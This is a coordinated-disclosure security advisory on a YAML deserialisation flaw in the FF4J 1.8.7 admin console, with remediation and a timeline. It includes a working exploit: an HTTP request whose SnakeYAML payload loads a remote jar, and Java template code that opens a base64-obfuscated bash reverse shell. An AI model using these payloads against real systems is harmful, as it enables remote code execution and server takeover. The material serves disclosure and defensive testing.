FF4J - Insecure YAML Deserialisation

Aug 31 2020

The FF4J v1.8.7 web administration console did not protect against YAML deserialisation vulnerabilities in the configuration import function. An attacker with access to the administration interface could remotely execute arbitrary Java code.

Date Released: 31/08/2020
Author: Adrian Hayes
Project Website: https://ff4j.org/
Affected Software: FF4J Web 1.8.7

Details

FF4J’s web administration console allows configuration to be exported and imported in YAML format. The YAML import functionality uses the SnakeYAML parser and did not protect against deserialisation vulnerabilities.

YAML deserialisation occurs in the org.ff4j.parser.yaml.YamlParser class in the ff4j-config-yaml package. This is called through a multipart file upload to the org.ff4j.web.controller.HomeController class in the ff4j-web package. The vulnerable code in the YamlParser class is shown below:

    public FF4jConfiguration parseConfigurationFile(InputStream inputStream) {
        Util.assertNotNull(inputStream, "Cannot read file stream is empty, check readability and path.");
        Yaml yaml = new Yaml();
        Map<?,?> yamlConfigFile = yaml.load(inputStream);

The org.yaml.snakeyaml.Yaml class is used to load user controlled YAML and is capable of instantiating any available Java class using the !!<class> [<param>] syntax. This can be exploited to call the constructor of the any available Java class.

The following HTTP request can be used to trigger the vulnerability:

POST /ff4j-web-console/home HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=---------------------------254414042717925802653989772698
Content-Length: 472
Connection: close

-----------------------------254414042717925802653989772698
Content-Disposition: form-data; name="op"

import
-----------------------------254414042717925802653989772698
Content-Disposition: form-data; name="flipFile"; filename="test.yaml"
Content-Type: application/x-yaml

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:6666/yaml-payload.jar"]]]]

-----------------------------254414042717925802653989772698--

Exploitation

The above request includes a standard SnakeYAML insecure deserialisation payload. There are multiple possible payloads that should work, see the additional resources at the end of this advisory for more information.

This payload downloads and executes code from a crafted jar file. This jar file needs to contain a ScriptEngineManager service manifest and associated class file. You can clone this git repository and edit it to meet your needs.

Java’s Runtime.exec can be problematic with complex commands; I’ve included a (hopefully!) more reliable cmd execution template (*nix only) below:

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
import java.util.Base64;
import java.util.concurrent.TimeUnit;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

	public AwesomeScriptEngineFactory() {
		try {

			String cmd = "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"; // <-- your actual command here

			String b64Cmd = Base64.getEncoder().encodeToString(cmd.getBytes());
			cmd = "bash -c {echo,"+b64Cmd+"}|{base64,-d}|{bash,-i}"; // *nix only

			Runtime.getRuntime()
				.exec(cmd)
				.waitFor(30, TimeUnit.SECONDS); //increase this probably

		} catch (Exception e) {
			//e.printStackTrace();
		}
	}

... snip ....

Within your yaml-payload folder compile your payload class javac src/artsploit/AwesomeScriptEngineFactory1.java and create a jar file jar -cvf yaml-payload.jar -C src/ .. You can host this on any web server which is accessible by your target. Python’s basic HTTP server can be handy here python3 -m http.server 6666.

The exploit relies on the target JVM being able to connect out to your HTTP server. If you see a connection to your HTTP server then the YAML payload has executed successfully. However, the actual code will only execute if the jar is crafted correctly and the cmd you want to execute doesn’t get hung up with Runtime.exec’s weirdness.

I recommend testing your payloads on a local instance first, the easiest way I found at the time of writing is to clone the ff4j-samples repository, open the ff4j-sample-springboot2x folder in Intellij IDE, tweak the version in pom.xml to the vulnerable version and then run a maven package command. You can now java -jar <path>/ff4j-sample-springboot2x-<version>.jar to run the FF4J sample server.

Remediation

Update to version FF4J 1.8.8.

FF4J 1.8.8 has implemented SnakeYAML’s SafeConstuctor class which only allows deserialisation of basic Java types and prevents dangerous classes being created.

Relevant commit: b3105f4b221f632f36739b38c17a0f660786b492.

Additional Resources

  • https://github.com/artsploit/yaml-payload
  • https://github.com/mbechler/marshalsec
  • https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
  • https://medium.com/@swapneildash/snakeyaml-deserilization-exploited-b4a2c5ac0858

Timeline

02/07/2020 - Advisory sent to FF4J (@clunven)
12/08/2020 - FF4J confirmed fix in release 1.8.8
31/08/2020 - Advisory released